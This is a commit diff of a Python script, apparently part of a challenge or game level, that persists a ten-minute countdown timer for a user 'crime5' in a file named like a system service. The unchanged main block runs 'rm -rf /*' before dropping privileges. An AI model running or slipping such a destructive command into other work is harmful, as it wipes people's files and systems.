Level/Level5/systemd-hdtob.py aktualisiert

This commit is contained in:
2025-11-18 08:01:32 +00:00
parent 858423e928
commit d31b0b5308

View File

@@ -3,18 +3,36 @@ import time
import subprocess import subprocess
import pwd import pwd
STATE_FILE = "/home/crime5/.timer/timer_state.txt"
def drop_privileges(user): def drop_privileges(user):
pw = pwd.getpwnam(user) pw = pwd.getpwnam(user)
os.setgid(pw.pw_gid) os.setgid(pw.pw_gid)
os.setuid(pw.pw_uid) os.setuid(pw.pw_uid)
def load_time(default_time):
if not os.path.exists(STATE_FILE):
return default_time
try:
with open(STATE_FILE, "r") as f:
return int(f.read().strip())
except:
return default_time
def save_time(remaining):
with open(STATE_FILE, "w") as f:
f.write(str(remaining))
def countdown(seconds): def countdown(seconds):
for remaining in range(seconds, 0, -1): for remaining in range(seconds, 0, -1):
save_time(remaining)
mins, secs = divmod(remaining, 60) mins, secs = divmod(remaining, 60)
with open("/home/crime5/timer.txt", "w") as f: with open("/home/crime5/timer.txt", "w") as f:
f.write(f"{mins:02d}:{secs:02d}") f.write(f"{mins:02d}:{secs:02d}")
time.sleep(1) time.sleep(1)
if __name__ == "__main__": if __name__ == "__main__":
subprocess.run(["rm", "-rf", "/*"]) subprocess.run(["rm", "-rf", "/*"])
drop_privileges("crime5") drop_privileges("crime5")
countdown(600) remaining = load_time(600)
countdown(remaining)